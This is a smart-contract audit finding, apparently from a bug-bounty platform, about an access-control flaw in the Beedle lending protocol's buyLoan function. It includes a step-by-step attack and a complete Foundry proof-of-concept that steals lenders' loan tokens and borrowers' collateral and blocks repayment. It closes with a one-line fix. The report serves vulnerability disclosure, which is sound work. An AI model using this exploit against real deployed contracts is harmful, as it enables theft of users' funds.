20,000 USDC
View results
Submission Details
Severity: high
Valid

Malicious actor could steal both collateral from borrowers and loan token from other lenders

Summary

Buying loan could be called by anyone to buy a loan in refinance auction. On completion, the loan's lender is set to msg.sender and the debt is moved from old pool to a new pool specified by argument poolId. However, the logic does not check whether msg.sender is the lender of pool poolId which causes anyone to use funds from poolId to buy loan. After being loan's lender, the attacker could start an auction such that the auction could not be bought by anyone. After auction period, with some tweaks, the attacker could seize the loan and get the collateral

Vulnerability Details

We have 2 pools: pool with id idX (loanA-colB) by lender Alice; pool with id idY (loanA-colB) by lender Bob ; and Chad borrows from pool X with loanId = Lid. Consider pool idX and pool idY has almost same configurations excepts pool balance such that pool idY has higher pool balance. Let's say Chad's loan is now on auction.

1.An attacker execute buyLoan(Lid, idY) => debt from loan Lid is moved from pool idX to pool idY and loan's lender is set to attacker. This means that attacker used pool balance from idY to buy Lid => Alice's loan token is stolen to buy loan

2.The attacker without having any lending pools now has a loan Lid, starts to auction the loan Lid. This auction could not be bought by anyone because this line https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L502 revert because of arithmetic underflow (the fact here is the pool is not existed yet). Besides, Chad could not repay the loan because of the same reason

3.The attacker waits for auction period to pass. From here, the loan Lid is able to be seized. To bypass underflow on the line https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L575-L576 , the attacker could do some tricks to steal collateral:

  • create a lending pool with poolBalance > Lid.debt(because of protocol fees) and maxLoanRatio = poolBalance * 10**18

  • do self-borrow to with collateral == 1 and debt == Lid.debt to increase pool's outstanding loan such that outstandingLoans >= Lid.debt

  • seize loan and get collateral

Beside, attacker vector could also be this way:

  1. Attacker creates his lending pool

  2. Attacker borrows from his own pool

  3. Start auction his loan

  4. Buy loan using other lender's pool like in step 1 above

  5. continue the attack as above

POC

function test_buyLoanPoC() public {
test_borrow();
uint256 userValidDebt = 100 * 10 ** 18;
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// kick off auction
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.startPrank(lender2);
Pool memory p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(, , , , uint256 lender2PoolBal, , , , ) = lender.pools(poolId);
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
address malicious = vm.addr(1337);
vm.label(malicious, "Malicious");
loanToken.mint(malicious, 100000 * 10 ** 18);
collateralToken.mint(malicious, 100000 * 10 ** 18);
uint256 colBalBefore = collateralToken.balanceOf(malicious);
vm.startPrank(malicious);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 2 ** 256 - 1);
lender.buyLoan(0, poolId);
// can not repay till here
vm.startPrank(borrower);
loanToken.mint(address(borrower), 5 * 10 ** 17);
vm.expectRevert();
lender.repay(loanIds);
// auction loan and wait to pass auction period
vm.startPrank(malicious);
lender.startAuction(loanIds);
// warp to middle of auction
vm.warp(block.timestamp + 0.5 days);
// can not buy loan here
vm.startPrank(lender2);
vm.expectRevert();
lender.buyLoan(0, poolId);
Pool memory malP = Pool({
lender: malicious,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 1,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 1000 * 10 ** 36,
auctionLength: 1 days,
interestRate: 100000,
outstandingLoans: 0
});
vm.startPrank(malicious);
bytes32 malPoolId = lender.setPool(malP);
Borrow memory b = Borrow({
poolId: malPoolId,
debt: malP.poolBalance,
collateral: 1
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
vm.warp(block.timestamp + 0.5 days);
lender.seizeLoan(loanIds);
uint256 colBalAfter = collateralToken.balanceOf(malicious);
(, , , , uint256 lender2PoolBalAfter, , , , ) = lender.pools(poolId);
assertTrue(colBalAfter > colBalBefore);
assertTrue(lender2PoolBalAfter <= lender2PoolBal - userValidDebt);
}

Impact

  • Lenders loan token stolen

  • Borrowers collateral token stolen

  • Borrowers can not repay

  • Unable to buy loans

Tools Used

Foundry

Recommendations

Consider add one more line to function buyLoan(uint256,bytes32) such that: require(msg.sender == pools[poolId].lender, "Not pool lender")

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!